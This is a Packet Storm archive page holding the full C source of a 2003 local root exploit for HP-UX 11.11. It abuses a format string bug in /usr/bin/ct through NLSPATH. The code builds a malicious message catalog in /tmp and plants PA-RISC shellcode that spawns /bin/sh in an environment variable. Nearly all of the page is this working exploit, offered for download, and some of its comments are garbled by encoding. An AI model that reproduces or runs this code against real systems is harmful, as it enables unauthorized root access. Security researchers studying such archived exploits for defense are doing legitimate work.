exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

x_hp-ux11i_nls_ct.c

x_hp-ux11i_nls_ct.c
Posted Dec 15, 2003
Authored by Watercloud | Site xfocus.org

X_hp-ux11i_nls_ct.c is a local root format string exploit for /usr/bin/ct tested on HP-UX B11.11. Uses the NLSPATH vulnerability described here.

tags | exploit, local, root
systems | hpux
SHA-256 | 71dde078136563709d69fffe76fe51d144aa3f58c1a83dfd88e0d7845f48b687

x_hp-ux11i_nls_ct.c

Change Mirror Download
/*******************************************************************************
* File : x_hp-ux11i_nls_ct.c
* Usage : cc x_hp-ux11i_nls_ct.c -o x_ct ; ./x_ct
* Purpose :
* HP-UX±¾µØÓïÑÔϵͳ¸ñʽ»¯´®Â©¶´Õë¶Ô/usr/bin/ctµÄÀûÓóÌÐò£¬±¾µØÓû§¿ÉÒÔͨ¹ýËüÈ¡µÃrootÌØȨ¡£
* Get a local rootshell from /usr/bin/ct,using HP-UX location language format string bug.
* Author : watercloud@xfocus.org
* Date : 2003-1-4
* Tested : On HP-UX B11.11 .
* Note : Use as your risk!
* Site : http://www.xfocus.org (EN)
* http://www.xfocus.net (CN)
******************************************************************************/


#include<stdio.h>

#define PATH "PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin"
#define TERM "TERM=xterm"
#define NLSPATH "NLSPATH=/tmp/.ex.cat"

#define CMD "/usr/bin/ct abc_ "
#define MSG "\$set 1\n1128 "
#define PRT_ARG_NUM 2
#define STACK_LEN 0x180

#define ENV_BEGIN 0x40
#define ENV_LEN 0x40
#define LOW_STACK 0x210

char buffer[512];
char buff[72]=
"\x0b\x5a\x02\x9a\x34\x16\x03\xe8\x20\x20\x08\x01\xe4\x20\xe0\x08"
"\x96\xd6\x04\x16\xeb\x5f\x1f\xfd\x0b\x39\x02\x99\xb7\x5a\x40\x22"
"\x0f\x40\x12\x0e\x20\x20\x08\x01\xe4\x20\xe0\x08\xb4\x16\x70\x16"
"/bin/shA";
int * pint = (int *) &buff[56];
unsigned int haddr = 0;
unsigned int dstaddr = 0;

int main(argc,argv,env)
int argc;char ** argv;char **env;
{
unsigned int * pa = (unsigned int*)env;
FILE * fp = NULL;
int xnum = (LOW_STACK - ENV_BEGIN + STACK_LEN -56 -12 -36 -PRT_ARG_NUM*4)/4;

int alig1= ENV_BEGIN - xnum*8;
int alig2=0;
int i=0;

while(*pa != NULL)
*pa++=0;

if(strlen(CMD) >ENV_BEGIN-3)
{
printf("No enough space to alig our env!\n");
exit(1);
}

printf("Exploite for HP-UX 11i NLS format bug by command ct.\n");
printf("From watercloud@xfocus.org. 2003-1-4\n");
printf(" Site : http://www.xfocus.net (CN).\n");
printf(" Site : http://www.xfocus.org (EN).\n");


haddr = (unsigned int)&fp & 0xffff0000;
if(alig1 < 0)
alig1+=0x10000;
alig2 = (haddr >> 16) - alig1 -xnum*8 ;
if(alig2 < 0)
alig2+=0x10000;

dstaddr= haddr+ LOW_STACK + STACK_LEN -24;
*pint++=dstaddr;
*pint++=dstaddr;
*pint++=dstaddr;
*pint = 0;

/* begin to make our .cat file */
fp = fopen("/tmp/.ex.k","w");
if(fp == NULL)
{
printf("open file : /tmp/.ex.k for write error.\n");
exit(1);
}
fprintf(fp,"%s",MSG);
for(;i<xnum;i++)
fprintf(fp,"%%.8x");
fprintf(fp,"%%.%ix%%n",alig1);
fprintf(fp,"%%.%ix%%hn",alig2);
fclose(fp);
fp = NULL;
system("/usr/bin/gencat /tmp/.ex.cat /tmp/.ex.k");
unlink("/tmp/.ex.k");


sprintf(buffer,"TZ=%*s%s%*s",ENV_BEGIN-3-strlen(CMD),"A",buff,ENV_BEGIN+ENV_LEN-strlen(buff),"B");
putenv(buffer);
putenv(PATH);
putenv(TERM);
putenv(NLSPATH);

printf("¼ÇµÃɾ³ýÕâ¸öÁÙʱÎļþ(Remember to delete the file): /tmp/.ex.cat .\n");
execl("/usr/bin/ct","/usr/bin/ct","abc_",0); /* ºÃÏ·¿ªÊ¼ÁË £º£© */
}



Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close